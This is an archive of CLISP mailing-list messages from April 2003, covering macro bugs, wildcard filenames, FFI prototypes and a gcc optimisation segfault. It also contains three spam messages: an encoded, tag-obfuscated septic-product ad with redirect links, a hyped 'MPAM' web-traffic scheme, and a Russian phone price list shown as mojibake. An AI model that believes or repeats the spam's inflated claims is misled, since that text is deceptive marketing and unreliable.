PkluPCFPPmZvPCFLPnJtYXRpb248IVg+PC9BPjxCUj48QlI+DQo8Rk9OVD48 L0NFTlRFUj48VUw+DQo8TEk+U2k8IVY+bXA8IUo+bDwhRj55IHRoZSBtPCFM Pm88IVQ+czwhWD50IGU8IVI+ZjwhST5mPCFOPmU8IU0+YzwhWT50aTwhTj52 ZSBzZXB0aTwhST5jIG1haW48IUo+dDwhUT5lPCFJPm48IU4+YW48IVY+Y2Ug cDwhTj5yPCFFPm9kdWN0IDwhTj5hdmE8IVE+aWxhPCFDPmI8IUc+bGU8IVo+ ITwhRj48TEk+TWFrPCFFPmUgPCFIPnlvPCFPPnU8IVQ+cjwhVT4gPCFLPnM8 IUQ+ZXB0PCFTPmk8IVE+YyB3bzwhUD5yPCFCPms8IVI+IDwhRT5hPCFVPnM8 IUg+IDwhRz53ZTwhSz5sPCFNPmw8IUI+IDwhVD5hPCFaPnM8IUs+IDwhSD50 aGUgPCFXPmRheSA8IVA+aXQgPCFGPndhcyA8IUI+aW5zdDwhUz5hPCFMPmw8 IVI+bDwhQj5lZDwhSz4hPCFPPjxMST5FbGltaW5hdGVzIG9kb3JzLCBjbG9n cywgYW5kIGJhY2stdXBzITxMSSBSUj48Qj5GPCFYPlI8IUc+RTwhWD5FPCFY PiAzPCFTPjAtRGE8IUc+eSBUcjwhTj5pPCFTPmFsIDwhRz5PPCFOPmY8IVM+ ZmVyPC9CPjwvVUw+PENFTlRFUj4NCjxhIGhyZWY9Imh0dHA6Ly93d3cuYXRl cHMuY29tX19fX0ByZC55YWhvby5jb20vdnBhandzc3UvYXRlcHMvKmh0dHA6 Ly9tbXMwMDkubWF0Z2xvYmFsLm5ldC9vaWUvZnQuaHRtbD9yPWF0ZXBzIj5D bDwhWT5pYzwhWj5rIEg8IUQ+ZTwhUD5yZSA8IUM+Rm9yPCFXPiBNPCFDPm88 IUk+cjwhTD5lIEluZjwhWD5vcm1hPCFaPnQ8IU0+aW9uPC9BPjxCUj48Zm9u dCBjb2xvcj0iI2ZmZmZmZiI+WHR2PC9mb250PjxCUj48Zm9udCBjb2xvcj0i I2ZmZmZmZiI+NjQ3NzYzODA2MjA4MDQzMDUxMjg3MDI0NTQwMDI1ODMwMzA3 MTcwMzgxNDA2MDI8QlI+PGZvbnQgY29sb3I9IiNmZmZmZmYiPjEwMjU2NDIw MjY1MDAyMzY1NjQ3Mjg1ODQwODYyNDMyMzYxODI3NjY2NzUwNDcwODYxNjg1 PC9mb250PjxCUj48Zm9udCBjb2xvcj0iI2ZmZmZmZiI+VTZwRDNXeHQwYjVn dEg4aG1tdGI1Mm48QlI+PGZvbnQgY29sb3I9IiNmZmZmZmYiPlh0djwvZm9u dD48QlI+PEJSPg0KPEZPTlQgQ09MT1I9R1JBWSBTSVpFPS0yPlQ8IVU+bzwh Rj4gdGhvczwhQj5lIHc8IVo+aG8gZDwhTT5vIDwhTz5ubzwhSz50IHdpc2gg PCFYPnRvPCFWPiByPCFKPmU8IUY+Y2VpdmUgbTwhTD5hPCFUPmk8IVg+bGlu PCFSPmc8IUk+czwhTj4uPCFNPiA8IVk+PGEgaHJlZj0iaHR0cDovL3d3dy5h dGVwcy5jb21fX19fQHJkLnlhaG9vLmNvbS9maXJ0L3ZwYWp3c3N1LypodHRw Oi8vbW1zMDA5Lm1hdGdsb2JhbC5uZXQvb2llL3Jtdi5odG1sP3I9dnBhandz c3UiPmNsPCFOPmljayBoZXJlPCFJPjwvQT4uPEJSPjxCUj48L1REPjwvVFI+ PC9UQUJMRT48Zm9udCBjb2xvcj0iI2ZmZmZmZiI+cmppM0UwdGRjZGw4Zk4N CjY0Nzc2MzgwNjIwODA0MzA1MTI4NzAyNDU0MDAyNTgzMDMwNzE3MDM4MTQw NjAyMTAyNTY0MjAyNjUwMDIzNjU2NDcyODU4NDA4NjI0MzIzNjE4Mjc2NjY3 NTA0NzA4NjE2ODU8L2ZvbnQ+DQo8L0hUTUw+DQo8QlI+PEJSPjxCUj48QlI+ PEJSPjxCUj48QlI+PEJSPjxCUj48QlI+PEJSPjxCUj4NCjg1NzBVYkFCOS0y OTVWZVNrMTU2OXl6ZEE0LTk4Mm5WYmw1NDI0ZGlPYjEtMzQyVGN1bDQ3 From csr21@cam.ac.uk Sun Apr 20 01:59:05 2003 Received: from brown.csi.cam.ac.uk ([131.111.8.14]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 197Aef-00076x-00 for ; Sun, 20 Apr 2003 01:58:33 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by brown.csi.cam.ac.uk with esmtp (Exim 4.12) id 197Ae9-0003IL-00 for clisp-list@lists.sourceforge.net; Sun, 20 Apr 2003 09:58:01 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 197Ae9-0007zH-00 for ; Sun, 20 Apr 2003 09:58:01 +0100 To: CLISP Subject: Re: [clisp-list] SBCL build, MAKE-LOAD-FORM, buglets From: Christophe Rhodes In-Reply-To: (Sam Steingold's message of "19 Apr 2003 17:06:56 -0400") Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2 References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 20 02:00:02 2003 X-Original-Date: Sun, 20 Apr 2003 09:57:59 +0100 Sam Steingold writes: > please do try it, and if it does not work, send me the MAKE-LOAD-FORM > method on which it breaks. > >> (defmacro foo (&key (b t)) (if b 'c 'd)) >> (macroexpand '(foo)) -> C >> (macroexpand '(foo :b nil)) -> C ; should be D > > I introduced this bug while fixing your previous bug. > should be fixed now. Heh, thanks. OK, I'll try to give it a spin later this weekend and will report back as soon as I can :-) Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From mst@dishevelled.net Sun Apr 20 02:36:08 2003 Received: from static-ctb-203-29-86-109.webone.com.au ([203.29.86.109] helo=mail.telefunken.dyn.ml.org) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 197BF1-00029o-00 for ; Sun, 20 Apr 2003 02:36:07 -0700 Received: from thweeble.telefunken.dyn.ml.org (thweeble.telefunken.dyn.ml.org [192.168.1.2]) by mail.telefunken.dyn.ml.org (Postfix) with SMTP id 2FE338039 for ; Sun, 20 Apr 2003 19:35:51 +1000 (EST) Received: by thweeble.telefunken.dyn.ml.org (sSMTP sendmail emulation); Sun, 20 Apr 2003 19:35:51 +1000 From: Mark Triggs To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Using filenames which contain wildcard characters User-Agent: Oort Gnus v0.19 In-Reply-To: <16033.25034.338161.445548@thalassa.informatimago.com> (Pascal Bourguignon's message of "Sat, 19 Apr 2003 16:48:42 +0200") Message-ID: <877k9pwlxl.fsf@dishevelled.net> References: <878yumbqwm.fsf@dishevelled.net> <16033.25034.338161.445548@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 20 02:37:02 2003 X-Original-Date: Sun, 20 Apr 2003 19:35:50 +1000 Pascal Bourguignon writes: > Sam Steingold writes: [...] >> CLHS is quite explicit on OPEN: >> >> An error of type file-error is signaled if (wild-pathname-p filespec) >> returns true. >> >> It is possible to add an keyword option to OPEN to circumvent it, but >> it will not be portable. >> Maybe it would be better to avoid such pathnames? Absolutely, but unfortunately I'm at the mercy of whatever bogus names people have decided to give their files :o) > Or to use a unix API (linux package in clisp). See the current POSIX > thread on comp.lang.lisp... Thanks for the suggestions. Given that the hyperspec makes it clear that an error should be signalled (sorry to have missed that), the behaviour is understandable. The linux package should do the trick for my purposes anyway. Thanks again, Mark -- Mark Triggs From csr21@cam.ac.uk Sun Apr 20 08:06:58 2003 Received: from brown.csi.cam.ac.uk ([131.111.8.14]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 197GOg-00048b-00 for ; Sun, 20 Apr 2003 08:06:26 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by brown.csi.cam.ac.uk with esmtp (Exim 4.12) id 197GOA-0008VU-00 for clisp-list@lists.sourceforge.net; Sun, 20 Apr 2003 16:05:54 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 197GO9-0008Up-00 for ; Sun, 20 Apr 2003 16:05:53 +0100 To: CLISP Subject: Re: [clisp-list] SBCL build, MAKE-LOAD-FORM, buglets From: Christophe Rhodes In-Reply-To: (Christophe Rhodes's message of "Sun, 20 Apr 2003 09:57:59 +0100") Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2 References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 20 08:07:05 2003 X-Original-Date: Sun, 20 Apr 2003 16:05:52 +0100 Christophe Rhodes writes: > Sam Steingold writes: > >> please do try it, and if it does not work, send me the MAKE-LOAD-FORM >> method on which it breaks. >> >>> (defmacro foo (&key (b t)) (if b 'c 'd)) >>> (macroexpand '(foo)) -> C >>> (macroexpand '(foo :b nil)) -> C ; should be D >> >> I introduced this bug while fixing your previous bug. >> should be fixed now. > > Heh, thanks. OK, I'll try to give it a spin later this weekend and > will report back as soon as I can :-) I've done this, and the build has just gone to completion. Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From a.bignoli@computer.org Sun Apr 20 11:54:01 2003 Received: from host10-153.pool8020.interbusiness.it ([80.20.153.10] helo=shark.fauser.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 197Jwu-00045K-00 for ; Sun, 20 Apr 2003 11:54:00 -0700 Received: from dalet.fauser.it (IDENT:0@pool2-ip16.fauser.it [80.20.153.111]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id UAA11006; Sun, 20 Apr 2003 20:49:19 +0200 (MET DST) Received: from dalet.fauser.it (IDENT:25@dalet.fauser.it [192.168.1.2]) by dalet.fauser.it (8.12.9/8.12.9) with ESMTP id h3KIquhR005621; Sun, 20 Apr 2003 20:52:58 +0200 Received: (from aurelio@localhost) by dalet.fauser.it (8.12.9/8.12.9/Submit) id h3KGvJ90005211; Sun, 20 Apr 2003 18:57:19 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16034.53615.582345.503958@dalet.fauser.it> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0395894E@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE0395894E@G8PQD.blf01.telekom.de> X-Mailer: VM 7.14 under Emacs 21.2.2 Subject: [clisp-list] :malloc-free allocation -- here: instance methods Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 20 11:54:09 2003 X-Original-Date: Sun, 20 Apr 2003 18:57:19 +0200 Hoehle, Joerg-Cyril writes: > I still believe modules is a way to go to interface to foreign > stuff. That implies C code, be it automatically generated or > not. This C code should then contain the offsets and other > architecture/platform dependent forms. Let the .fas file and Lisp > code remain free of that. good point! I'll follow this approach. > >returned function prototype could be a problem: every DB fuction has > >its own parameter list. Probably the C factory function should return > I don't understand this. well, different DB functions have different argument lists. For example: int DB->get(DB *db, DB_TXN *txnid, DBT *key, DBT *data, u_int32_t flags); int DB->open(DB *db, DB_TXN *txnid, const char *file,const char *database, DBTYPE type, u_int32_t flags, int mode); In C the factory function could probably be declared as typedef int (*db_function) (/* we can't specify argument list! */); db_function ff_factory (DB *dbp, int function_type) { [...] } It would be better to specify arguments in the db_function type definition, but the C compiler can work without them. How should such a foreign function be defined in CLISP? What return type should we use? (def-call-out ff-factory (:name "ff_factory") (:arguments (db (c-ptr DB :in)) (function-type int :in)) (:return-type ???)) From a.bignoli@computer.org Sun Apr 20 11:54:04 2003 Received: from host10-153.pool8020.interbusiness.it ([80.20.153.10] helo=shark.fauser.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 197Jwx-00045m-00 for ; Sun, 20 Apr 2003 11:54:03 -0700 Received: from dalet.fauser.it (IDENT:0@pool2-ip16.fauser.it [80.20.153.111]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id UAA10902; Sun, 20 Apr 2003 20:49:20 +0200 (MET DST) Received: from dalet.fauser.it (IDENT:25@dalet.fauser.it [192.168.1.2]) by dalet.fauser.it (8.12.9/8.12.9) with ESMTP id h3KIquhT005621; Sun, 20 Apr 2003 20:53:00 +0200 Received: (from aurelio@localhost) by dalet.fauser.it (8.12.9/8.12.9/Submit) id h3KGHVSB005075; Sun, 20 Apr 2003 18:17:31 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16034.51227.231509.242748@dalet.fauser.it> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FFI:CAST segfault with gcc 3.2.2 In-Reply-To: References: <16023.1795.602153.905339@dalet.fauser.it> X-Mailer: VM 7.14 under Emacs 21.2.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 20 11:55:01 2003 X-Original-Date: Sun, 20 Apr 2003 18:17:31 +0200 Sam Steingold writes: > > * In message > > * On the subject of "Re: [clisp-list] FFI:CAST segfault with gcc 3.2.2" > > * Sent on 16 Apr 2003 10:11:04 -0400 > > * I write: > > > > > * Honorable Aurelio Bignoli writes: > > > > > > [5]>(with-c-var (p 'c-pointer *x*) (cast p '(c-ptr (c-array character 4)))) > > > Segmentation fault > > > > I do not observe this with > > gcc (GCC) 3.2.1 20021207 (Red Hat Linux 8.0 3.2.1-2) > > I _do_ observe this crash with gcc 3.2.1 when compiled with -O2. > I do _not_ observe it when compiled with -g -O0. I had also to add -falign-functions=4 to CFLAGS. Without it, lisp.run prints the following error message when it is executed by make: ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" C_CODE_ALIGNMENT is wrong. &EVAL-WHEN = 0x806abd2. Add -falign-functions=4 to CFLAGS in the Makefile. make: *** [interpreted.mem] Aborted > this is yet another instance where -O2 vs -g makes a difference. the problem seems to be in the code generated by gcc for foreign.c, probably for the function C_cast. I tried to compile it without "-O2 -fexpensive-optimizations" and all the other C modules with the usual CFLAGS, and the resulting lisp.run passed the testsuite and the CAST test. I'm currently using it. From marketing4u@mixmail.com Sun Apr 20 15:14:50 2003 Received: from 229.red-80-33-187.pooles.rima-tde.net ([80.33.187.229] helo=toshiba) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 197N5E-0002YN-00 for ; Sun, 20 Apr 2003 15:14:49 -0700 Received: from mixmail.com ([200.161.186.180]) by toshiba with Microsoft SMTPSVC(5.0.2172.1); Mon, 21 Apr 2003 00:13:48 +0200 From: marketing4u@mixmail.com To: clisp-list@lists.sourceforge.net X-Priority: 3 Content-Type: text/html Message-ID: X-OriginalArrivalTime: 20 Apr 2003 22:13:56.0207 (UTC) FILETIME=[227DFFF0:01C3078A] Subject: [clisp-list] How to Get 17,169 Visitors a Day to Any WebSite! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 20 15:15:04 2003 X-Original-Date: 21 Apr 2003 00:13:56 +0200

Massive Hits to your Website...

How to Get 17, 169 Visitors a Day to Any WebSite!

Follow these Step-by- Step instructions!
 Starting Now, You can have a phenomenal advertising machine that will literally build any online business.

Many people believe (There Is No Such Thing As A Free Lunch)
Guess what? THERE IS!

And you do not need to outlay a single, solitary dollar, pound,
punt, rand, mark or euro
for this plan to work for YOU!

And even better - you can earn while you learn!

MPAM (Massive Passive Advertising Machine) is a Viral Marketing Strategy
that out-performs anything you have seen.

It's all here for free(which most people charge for) and you will learn how to combine the SYNERGISTIC POTENTIAL of over 50 FREE programs .

MPAM has had over 33 MILLION page views since it began in August 2001
this means EVERY SECOND of EVERY DAY for over 14 MONTHS
someone somewhere has viewed an MPAM page.

THIRTY THREE MILLION page views!! And over 14 MILLION visitors!
24 visitors EVERY MINUTE
, EVERY DAY for over  14 MONTHS!!.
Does the MPAM system work? No hype needed - no fancy advertising
just FACTS and PROVEN STATISTICS!

Without MPAM traffic is flat...

With MPAM traffic is Massive!

You won't be charged ANYTHING for the FREE TRAFFIC lessons on this site.
NO STRINGS ATTACHED, EVER!

Your Success Will cost you Time and Effort - and you MUST be willing to put in that Effort!

And as an extra benefit - not only is the system FREE but I will show
You how to link all systems together!

These lessons will teach you how to trigger a CHAIN-REACTION
by linking these FREE programs together.

You will learn how to plug one program into another to create a
Self-Feeding, Never-Ending stream of prospects into an
Exponential Explosion of Hits to your website.
Recruit Thousands of affiliates, make Thousands of sales!

I'm talking about a PERPETUAL-MOTION HIT MACHINE.
You cannot comprehend it until you study the entire SERIES of LESSONS.
And in the end, you will be convinced that nobody anywhere can promise You more hits in the years ahead.

You can have as much as 60% increase every month.
Check out the chart at right and watch this... 

If you get only a TWO PERCENT INCREASE in hits daily and funnel them correctly,
you can produce approximately SIXTY PERCENT INCREASE in hits to your website
Every Month!

This system CAN ABSOLUTELY give you that TWO PERCENT INCREASE DAILY!

Do the calculations on 60% monthly growth...

This Realistic Approximation shows how fast your website can begin receiving
THOUSANDS OF HITS!

Month DAILY HITS
1 100
2 160
3 250
4 400
5 640
6 1025
7 1,640
8 2,620
9 4,192
10 6,707
11 10,731
12 17,169

What will these massive hits do for your INCOME?
How much will this program be worth in 2 to 5 years? Will it compensate you for your efforts over the next few months?   YES!

WHY DO YOU NEED THOUSANDS AND THOUSANDS OF HITS? Because ADVERTISING is the engine that builds business, recruits affiliates into money-making programs, and makes sales.
You will learn the absolutely easiest way to become a MASTER at mass advertising.

One year from now, YOUR MASSIVE PASSIVE ADVERTISING MACHINE will be producing enough hits to insure the sale or promotion of
ANY LEGITIMATE Program with PHENOMENAL SUCCESS.

You will be able to build a downline in a new program within DAYS instead of YEARS by merely plugging in its URL for a few days!
You will be able to build a new income every few days, then move on to another program immediately.

Once you have your MASSIVE PASSIVE ADVERTISING MACHINE running at full throttle, I will then show you how to turn those VISITORS into CASH in your pocket!

But first of all, you need to get your own MPAM web site.
placing your own referral codes in all locations.

CLICK HERE NOW for Your own FREE MPAM!

Sorry Uninterested Click Here

From sds@gnu.org Sun Apr 20 16:14:14 2003 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 197O0j-0004pc-00 for ; Sun, 20 Apr 2003 16:14:13 -0700 Received: from loiso.podval.org ([151.203.42.15]) by out004.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030420231406.UVXB28930.out004.verizon.net@loiso.podval.org>; Sun, 20 Apr 2003 18:14:06 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h3KNE6X2010320; Sun, 20 Apr 2003 19:14:06 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h3KNE6s0010316; Sun, 20 Apr 2003 19:14:06 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Cc: Axel Thimm Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out004.verizon.net from [151.203.42.15] at Sun, 20 Apr 2003 18:14:06 -0500 Subject: [clisp-list] CLISP RPMs are available from atrpms Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 20 16:15:04 2003 X-Original-Date: 20 Apr 2003 19:14:05 -0400 Thanks to Axel Thimm, CLISP RPMs are now available to the RedHat users via a simple "apt-get install clisp" command. All RH users are urged to try these RPMs now! http://atrpms.physik.fu-berlin.de/name/clisp/ Thanks Axel! -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux The early worm gets caught by the bird. From marcoxa@cs.nyu.edu Mon Apr 21 06:43:55 2003 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 197baH-0007H9-00 for ; Mon, 21 Apr 2003 06:43:49 -0700 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (Postfix) with ESMTP id 36E5A19E09; Mon, 21 Apr 2003 09:43:41 -0400 (EDT) Subject: Re: [clisp-list] Using filenames which contain wildcard characters Content-Type: text/plain; delsp=yes; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) Cc: Mark Triggs , clisp-list@lists.sourceforge.net To: sds@gnu.org From: Marco Antoniotti In-Reply-To: Message-Id: <42533016-73FF-11D7-8D55-000393A70920@cs.nyu.edu> Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.552) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 21 06:44:31 2003 X-Original-Date: Mon, 21 Apr 2003 09:43:39 -0400 According to the CLHS (not directly), an implementation should provide an implementation dependent way of quoting the implementation dependent wild characters in the pathname component and/or namestring. Here is the relevant bit. ======================================================================== ========================================= 19.2.2.1.1 Special Characters in Pathname Components Strings in pathname component values never contain special characters that represent separation between pathname fields, such as slash in Unix filenames. Whether separator characters are permitted as part of a string in a pathname component is implementation-defined; however, if the implementation does permit it, it must arrange to properly ``quote'' the character for the file system when constructing a namestring. For example, ;; In a TOPS-20 implementation, which uses ^V to quote (NAMESTRING (MAKE-PATHNAME :HOST "OZ" :NAME "")) => #P"OZ:PS:^V" NOT=> #P"OZ:PS:" ======================================================================== ========================================= It would look like that (by extension), you should be able to do something like (open "hello^V?" .....) However, this is going to be completely implementation dependent. As a personal preference, I wouldn't mix UNIX shell wildcards with CL pathname components. After all the C library does not care about '?' in file names. Cheers Marco On Friday, Apr 18, 2003, at 08:21 America/New_York, Sam Steingold wrote: >> * In message <878yumbqwm.fsf@dishevelled.net> >> * On the subject of "[clisp-list] Using filenames which contain >> wildcard characters" >> * Sent on Mon, 07 Apr 2003 19:25:29 +1000 >> * Honorable Mark Triggs writes: >> >> I've hit a bit of a stumbling block with some code I'm working on. I >> have a file called "hello?.txt" (unix filesystem) that I'm trying to >> open using (with-open-file ..), but I'm getting the following: >> >> [1]> (with-open-file (test "hello?" :direction :input)) >> *** - wildcards are not allowed here: #P"hello?" > > CLHS is quite explicit on OPEN: > > An error of type file-error is signaled if (wild-pathname-p filespec) > returns true. > > It is possible to add an keyword option to OPEN to circumvent it, but > it will not be portable. > Maybe it would be better to avoid such pathnames? > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux > > > > > Bus error -- driver executed. > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > -- Marco Antoniotti NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From 2q5ip9g9@mail.com Mon Apr 21 09:44:23 2003 Received: from [195.167.195.221] (helo=195.167.195.221) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 197eOx-0000qY-00 for ; Mon, 21 Apr 2003 09:44:20 -0700 From: 236485@email.com To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=koi8-r Content-Transfer-Encoding: 8bit X-Mailer: The Bat! (v1.49) Message-ID: 1248580216@hotmail.com Subject: [clisp-list] óÕÐÅÒÐÒÅÄÌÏÖÅÎÉÅ: Trium Eclipse ×ÓÅÇÏ ÚÁ 109$ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 21 09:45:05 2003 X-Original-Date: Mon, 21 Apr 2003 11:44:36 -0500 ôÅÌÅÆÏÎÙ
óÁÍÁÑ ÎÉÚËÁÑ ÃÅÎÁ × íÏÓË×Å! ÷ÓÅÇÏ 105 Õ.Å.
Ô. (095) 517-1432

Trium Eclipse
òÁÚÍÅÒÙ: 123È48È29 ÍÍ
÷ÅÓ: 110 Ç.
÷ÒÅÍÑ ÒÁÂÏÔÙ:
(Li-Ion 900 mAh)
- ÷ ÒÅÖÉÍÅ ÏÖÉÄÁÎÉÑ: ÄÏ180 ÞÁÓÏ×
- ÷ ÒÅÖÉÍÅ ÒÁÚÇÏ×ÏÒÁ: ÄÏ 180 ÍÉÎÕÔ
GPRS
ã×ÅÔÎÏÊ ÄÉÓÐÌÅÊ
ðÏÌÉÆÏÎÉÞÅÓËÉÅ ÍÅÌÏÄÉÉ ×ÙÚÏ×Á
ÃÅÎÁ 105$

òÕÓÉÆÉÃÉÒÏ×ÁÎÎÙÊ, ÎÏ×ÙÊ, ÂÅÓÐÌÁÔÎÁÑ ÄÏÓÔÁ×ËÁ ÐÏ íÏÓË×Å. çÁÒÁÎÔÉÑ 1 ÇÏÄ.


ãÅÎÙ ÎÁ ÄÒÕÇÉÅ ÍÏÄÅÌÉ:

siemens m50 99$
siemens sl45i 185$
siemens sl42 157$
sonyericsson T68I 229$
motorola T720i 229$
motorola V70 229$
samsung s100 339$
siemens s55 275$
nokia6610 275$
nokia7250 440$
nokia3650 379$
sonyericsson T300 Ó ÆÏÔÏËÁÍÅÒÏÊ 215$
óÁÍÙÅ ÎÉÚËÉÅ ÃÅÎÙ × íÏÓË×Å!
Ô. (095) 517-1432


âÅÓÐÒÏ×ÏÄÎÁÑ ÇÁÒÎÉÔÕÒÁ sony ericsson Bluetooch HBH30-130$

ðÏÄËÌÀÞÅÎÉÅ:
íôó-ïðôéíá ÃÅÎÁ 480ÒÕÂ ÎÁ ÓÞÅÔÕ 1000ÒÕÂ
íôó-âéúîåó 600 ÍÏÓËÏ×ÓËÉÊ ÎÏÍÅÒ ÃÅÎÁ 1550ÒÕÂ. ÎÁ ÓÞÅÔÕ 3150ÒÕÂ.









